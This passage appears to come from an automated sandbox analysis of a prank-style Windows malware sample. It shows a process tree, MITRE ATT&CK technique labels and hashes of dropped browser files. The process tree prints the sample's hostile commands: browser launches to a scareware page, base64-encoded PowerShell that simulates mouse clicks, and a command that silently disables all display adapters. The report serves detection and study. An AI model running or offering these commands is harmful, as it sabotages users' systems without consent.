      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7640
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7252
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:7164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:8352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:8512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"cd "C:\Users\Admin\Downloads\ExtractedFiles"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6208

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3772

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4396

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004D0
1⤵
PID:9144

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -l WATCHDOG WATCHDOG-20260818-1219.dmp
1⤵
PID:2980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:8892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:8520

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
PID:29304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:12496

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:26468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 bcfcf1237e3e768e1ef8b21027442c00abfd18ec4c5a84382de109485147181e
MD5 e5c86e660bb257f46e9b7b9c16f78543
SHA1 794ae88bb4ebd5dc867bd60bd516d717b6f15a2c
SHA512 b59b64d78409c86d35993883d927e89d38ddbbd74c08d04fb0e9db4234c5b7957b777034c1b47b0f32bc05c5fe96e830f3aab36ad10243c1777e32f0ea496197
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 33f5a7a2da7604826538fe5607ebed2581ac8b54b9f89cf83829935862dac228
MD5 4686778044eeb0c88c13c43a6b110f28
SHA1 afe86c4c1182d2a6ba9d251abe28136c9b8ce70e
SHA512 0675c9a352294a07ee91c723652e4fea4e2ee48b96a05814028b7620064ff916ab99b25efc7dfbfe640eca52e836b0d0f644f3e7100977d16f72ef57f95f09b6
TLSH
T10FC08C2C72CA0064CBC106B8681E48B023130882522202F340A1EE940AE31B02744C9A
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 55f045b51a9f9192153da8396b442ae0de598f37b2dbc31513fe560e27a3b41d
MD5 05c1129b18e8b07d8caa76e0f69a3c62
SHA1 f5d06abdb54396cfa6eb981f50bbd4d6f5f45b8f
SHA512 48c1103d803261b27ea5e3c87696d0357955d8ac490ad7f4be8416768850ce6704011a12049319d8df057d36d8836ce4c1c89fea1717a925e3941f698dfa7551
TLSH
T14341DFF7C3E48A7DC91156F49B156E1FCE690628032C3C6689E4BE1793E2871D21079F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 17a6b18df52d8773838aefe942161f561b3eb076a935a278d8d583ce5ed027e5
MD5 0148884dad57d51270da3e14f71f6de7
SHA1 6a54610add54f96533c1084ac024ce4346b887de
SHA512 aca26ae2904afd0602fda96e696ca59f4cef73759cf7efb8c70a33adf19215ffed9d4e29d7dd00f6c351870d5b420fb87716b152d314e2fbd46c621384d2274d
TLSH
T10841CEF7C3B4867DCA1156F4EB156E1FCE690928032C386689D4AF1B93E28B1D25078F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 15f6cd4be83360f0cde4b342b08e9a989be08237bf0bb7b887a54a8e3486b64b
MD5 bc6fa2ec779e89fda55432e598f95c97
SHA1 be415258b7fa6d3c4919e9d12d9f35a139d1e256
SHA512 ca72c62568bb9c8d4f2a10ec10f336882f1b71a73700b3b7a9e789a9fef43f9c8cd1abf696d23b3cba5dbce1175face859a66807555f13fbb86a5d8cc9293776
TLSH
T14F31AEF783A48A7DCA1156F49A152E1FCE690524032C38668AE4BE1783E28B1D21078F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 523B
SHA256 a68254b007e5f465efc3aeaf715d332dd4aa9de5b7efcd37697f8238cb911eb5
MD5 ba32ae814cd10b1406688c5def5337de
SHA1 a94467556c634b1a23750970848155ff12a92129
SHA512 b2622092978e42c46fee02148401bbacda2f5386d061ab87726b25a9576334e3a3410db7ae2fa2cc95973369d47374d6e7823084bc04872a03ad1a3f5cd0b70b
TLSH
T11AF084A7AA7F3423007A85AE6F00BC052C75A031024068F1CE9BC2BEA0E58F70B02553
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 2cb7e6d646bcaf10a4d63a51a936bde96398569fdb48077d07eacd00626e6a97
MD5 0b497d8727839162f6782e87e84b22c3
SHA1 a47f6b923c95685eb26ecd9bc5fbb0e59ca4664e
SHA512 f4024b4935d478680e6fa51dcbdd60bb684f6dcc8740e7e5677f9e782cfeee49c00538d46f2ed9e134bc4d0eaeb08ba8a597af4b43db148bb56659b99d0b4920
SSDEEP 192:ZR3f1Vzv7uvaPRpDxE9UHsb+WNnIyziBYl42Reeskweag9Ct+rnVyIsnAUgE:ZR3fvLKEXaGwxsYW2m+axUE
TLSH
T19E42C86EAD10397BACCBD229F9557B63E7F4112131D42E84EAFC8A2C24E76CD6217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 f5ab0d15ce176f0a189f14b33f45eef72ad459655cd9c51754ea6abcc4b02ae2
MD5 8653700fd99c212ec9aeadc5ddd94c77
SHA1 b89c526d7b5859e0734d952c8e8ee8a2b133e197
SHA512 c0d851815ca0f525fb70c7648484fca8c7237168b157c09621ef279837b116bcb09acb4b53146789ba88893a792ef2a7ad4c88ef2afe6401054eb1dc11987b9f
SSDEEP 192:ZRvfoVzv7uvAPRp2x59UHsb+WNnIyzfV2942Reeskweag9Ct+1nVyIsnAUgR:ZRvfSLK6XqGwxR2O2m+axcR
TLSH
T1D232B66EA910393BACCBD229F9167763E7F5012131D42E84EAFC8A2C24E76CD6217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 3943843f22417a4751e044451ffa45ad5dc02e94bd3d75f9f0e4460ec68eb966
MD5 e4def729730e2ac390d62b3f5a330d0b
SHA1 63d3d131525921640afb35f22b82f95fc592941e
SHA512 951dd201f1e1080bc81095ce4797f148024aac070fe8aa5d75daca3ed00eaad3ef7b2ac46265e8e06ed08940cb356a30256d111d8972281dc4e2f66bf4f43a5a
SSDEEP 192:ZR3foVzv7uvAPRp2xE9UHsb+WNnIyziBY/42Reeskweag9Ct+fnVyIsnAUgR:ZR3fSLK6XbGwxsYw2m+axSR
TLSH
T17832A56EA910387BACCBD229F9167763E7F5112131D52E84EBFC8A2C24E76CC6217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 8b5b4953b99c7467f3c9db19b01654c1a486defe9ff88db2d4eea6453ac84f01
MD5 07125363374507c4730298bac0aec4be
SHA1 7323a1f1033a916c2895427d6e8428fa20ae9f2a
SHA512 2c5e7438b33ee4d10d985ae5af685569a47fb15aa5026a2ec97a7571e3fa11027af6bd66761bc1d6929b5cc23bc4444307fde8d17511823e45ba7083fa7c7c78
SSDEEP 192:ZR3foVzv7uvaPRpDxE9UHsb+WNnIyziBYl42Reeskweag9Ct+fnVyIsnAUgR:ZR3fSLKEXaGwxsYW2m+axSR
TLSH
T11342B76EA910387BACDBD229F9157B63E7F5112131D02E84E7FC8A2C24E76CD2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 12e20d6ab7e714370f16d65202c846146e38a20cc82b5aba6b4ef74f26fc090f
MD5 757053276cb7feb91dad41da308607e6
SHA1 3cd0202a04a3457c28fe9596cb80c77117588855
SHA512 b80d36fb3f08ddb41e7c951e72bea098f50c2b7c0fddb871e81e4ab3480d4b190be38768e5c253a8f22f0dcaacb7af3522037002e24d2f6a8906bbeb1ee6adac
SSDEEP 192:ZR7foVzv7uvAPRp2xE9UHsb+WNnIyziBY242Reeskweag9Ct+1nVyIsnAUgR:ZR7fSLK6XbGwxsY/2m+axcR
TLSH
T13232A56EAD10393BACCBD229F9167763E7F5112131D52E84EAFC8A2C24E76CC6217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 cb5f92ce2cc9a5db386043091a8893ffe14f5e971442a5801b81121d43ff8fde
MD5 63afbcb091c837a5fa697d7029208c18
SHA1 0958c2d6164dfe125c171a8d180570bab7229f69
SHA512 f808f3352d69a4442efc27352e45c4cd6377bd9fb58cf7fa3ff80cb07024850e5ec68f39774059f74eea3c621e94bf1f7153b14b16a81197fb0ceda7ba9f8ac1
SSDEEP 192:etK4K6nP7KxkXqK4I40pUZNCgVLHrKHfFKslEOlbXzKD/0T+ErUkKN9JO5a1Af1z:oKj8P7KxkXqKf/pUZNCgVLH2HfgslxbH
TLSH
T1A532D867948D9E3B4FDCD518CC176B4B6DB4029677780824A2FF9D0803AA7CE114A6BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 c8acd9b8b4dc7fe38ca5fd973793c9b9d2d15ee0d8480b9788e45f547c945d8c
MD5 c0672744afdc41719c86aa26562ebd9f
SHA1 b284cce085a52e36ffcafee28b7fab9dbec12660
SHA512 36ca01b84de3724c31ec76730fb605542131f44b8ddb893e87c281980249312395a56fc3a82c7c67519965f34f2bb26a58f3624cd54e7eb5b9bf5e168aa37548
TLSH
T1F1A0022481D51415CD8462F0A5750A4522535867597283C399E2095899EF5DC52E1500
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5d56ae.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5d56ae.TMP
Size 48B
SHA256 cef13773a1772fdef36fe760ef83a05d16f9017ced30b08a5249c07aed28735b
MD5 029bba82eb835ad4493ab29237d72889
SHA1 db9c3e27205939997a26a531f4fcfd29a946ab8b
SHA512 6535d6290d0399995fd6dff9fe182daee668d72d63f9bd6b44309aa9859ddcc650cf5ce39ae93fc99d3ef90a7a0f420e0c0ea06357b08fd2208b11e735ae237c
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 e748b05473ef410d183e70a00e91aab704a94ea6df69532a38d8bb10238f7ae7
MD5 6f5ec3933b52db7bb057d2f81abca689
SHA1 ad0b9fbe5084394fe4a99588d74aeab6323f6a1e
SHA512 cb870dbe33e5cfe822d1e7a94d5bb23a0b99fcfd6d47128b1bb85c4029e784083fb095304225e9b5532e994951b89e2f3a96dccc48b1e39d4688308fa86a8bf5
SSDEEP 3072:rycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKb:R461bZ9wg20MtriHc2A
TLSH
